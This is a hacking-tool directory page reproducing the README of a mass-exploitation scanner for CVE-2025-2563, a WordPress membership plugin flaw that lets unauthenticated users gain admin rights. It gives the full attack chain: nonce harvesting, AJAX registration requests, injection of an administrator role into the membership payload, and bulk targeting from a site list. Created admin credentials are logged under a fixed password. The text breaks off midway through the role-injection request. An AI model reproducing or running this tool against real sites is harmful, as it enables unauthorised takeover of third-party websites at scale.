Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-2563 — The User Registration & Membership WordPress plugin before 4.1.2 does not prevent users to set their account role when the Membership Addon is enabled, leading to a privilege escalation issue and allowing unauthenticated users to gain admin privileges | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-2563
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubnxploited/cve-2025-2563

CVE-2025-2563

The User Registration & Membership WordPress plugin before 4.1.2 does not prevent users to set their account role when the Membership Addon is enabled, leading to a privilege escalation issue and allowing unauthenticated users to gain admin privileges

175 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2025-2563

The User Registration & Membership WordPress plugin before 4.1.2 does not prevent users to set their account role when the Membership Addon is enabled, leading to a privilege escalation issue and allowing unauthenticated users to gain admin privileges

Typing SVG


🔴 Vulnerability Overview

CVE-2025-2563 — Unauthenticated Privilege Escalation via Membership Addon Role Injection

FieldDetails
CVE IDCVE-2025-2563
SeverityHIGH — CVSS v3.1 Score: 8.1
VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
ADPCISA-ADP
Affected SoftwareUser Registration & Membership Plugin for WordPress
Affected VersionsAll versions before 4.1.2
Vulnerability TypeImproper Privilege Management — Unauthenticated Administrator Account Creation
Authentication RequiredNone
CWECWE-269: Improper Privilege Management

Description:
The User Registration & Membership plugin for WordPress versions before 4.1.2 fails to enforce server-side role restrictions when the Membership Addon is enabled. During the membership registration process, the plugin accepts a user-supplied role field within the user_registration_membership_register_member AJAX action without validating it against a server-side allowlist. A completely unauthenticated remote attacker can submit a crafted two-step AJAX chain — first registering a new user account via user_registration_user_form_submit, then injecting "role": "administrator" into the members_data payload of the membership call — to silently create a fully privileged WordPress Administrator account. This results in complete site compromise with no authentication or user interaction required.


🛠️ Tool Description

This is a Proof-of-Concept (PoC) mass exploitation scanner targeting WordPress installations running a vulnerable version of the User Registration & Membership plugin with the Membership Addon active. The tool performs intelligent multi-stage exploitation with automatic discovery, nonce harvesting, combo-based registration, role injection, and admin verification.

🔗 Full Attack Chain

[Phase 1 — Discovery]
  GET /membership-pricing/        →  Extract membership_id, pricing links
  GET /membership-registration/   →  Extract form_id, nonces, security tokens
  GET /registration/              →  Fallback registration page

          ↓

[Phase 2 — Nonce Extraction]
  Parse: ur_membership_frontend_localized_data._nonce
  Parse: ur_frontend_form_nonce, security, form_id, membership_id

          ↓

[Phase 3 — Registration (Combo Attack)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  form_data=[{user_login, user_email, user_pass, membership_field, ...}]
  security=<token>  |  ur_frontend_form_nonce=<nonce>
  → Try all valid combos until success=true

          ↓

[Phase 4 — Role Injection (CVE-2025-2563)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator","membership":"<id>",...}
  _wpnonce=<membership_js_nonce>
  → Server assigns administrator role to newly created user

          ↓

[Phase 5 — Admin Verification]
  POST /wp-login.php              →  Login with new credentials
  GET  /wp-admin/                 →  Check adminmenu / wp-admin-bar
  GET  /wp-admin/users.php        →  Confirm manage_options access
  GET  /wp-admin/plugin-install.php →  Confirm plugin-install access

          ↓

[Save to Nx_admin.txt]
  Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>

📋 Requirements

System Requirements

  • Python 3.8 or higher
  • Linux / Windows / macOS

Python Dependencies

pip install requests urllib3 rich

Or via requirements file:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2025-2563.py

⚙️ Usage

Basic Run

python3 CVE-2025-2563.py

The tool uses a fully interactive terminal interface powered by Rich.


🗂️ Target List Format

Create a plain text file (default: list.txt) — one target per line:

https://target1.com
https://target2.com
http://target3.com
target4.com

Targets without http:// or https:// are automatically prefixed with https://.


🖥️ Interactive Prompts

Targets file [list.txt]:                    list.txt
Threads [3]:                                5
HTTP timeout (seconds) [10]:                10
Max registration attempts per target [20]:  20

Password is fixed internally as Nx_adminSA for all registration attempts.


🔬 Exploitation Deep Dive

Step 1 — Multi-Page Discovery

The tool probes three pages automatically per target:

PagePurpose
/membership-pricing/Extract membership_id and registration links
/membership-registration/Extract form tokens, nonces, and field IDs
/membership-registration/?membership_id=<id>Plan-specific form extraction
/registration/Fallback generic registration page

Step 2 — Token Extraction

The following tokens are extracted from raw HTML and inline JavaScript:

TokenSource
_nonceur_membership_frontend_localized_data JS object
ur_frontend_form_nonceHidden input field or JS object
securityuser_registration_params.user_registration_form_data_save
form_idHidden input ur-user-form-id or JS object
membership_idRadio input urm_membership or URL query string

Step 3 — Registration AJAX (Combo Attack)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
            {"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>

The tool automatically iterates over all discovered combinations of security, frontend_nonce, form_id, and membership_id until a success: true response is received.


Step 4 — Role Injection AJAX (The Vulnerable Call)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Download Tool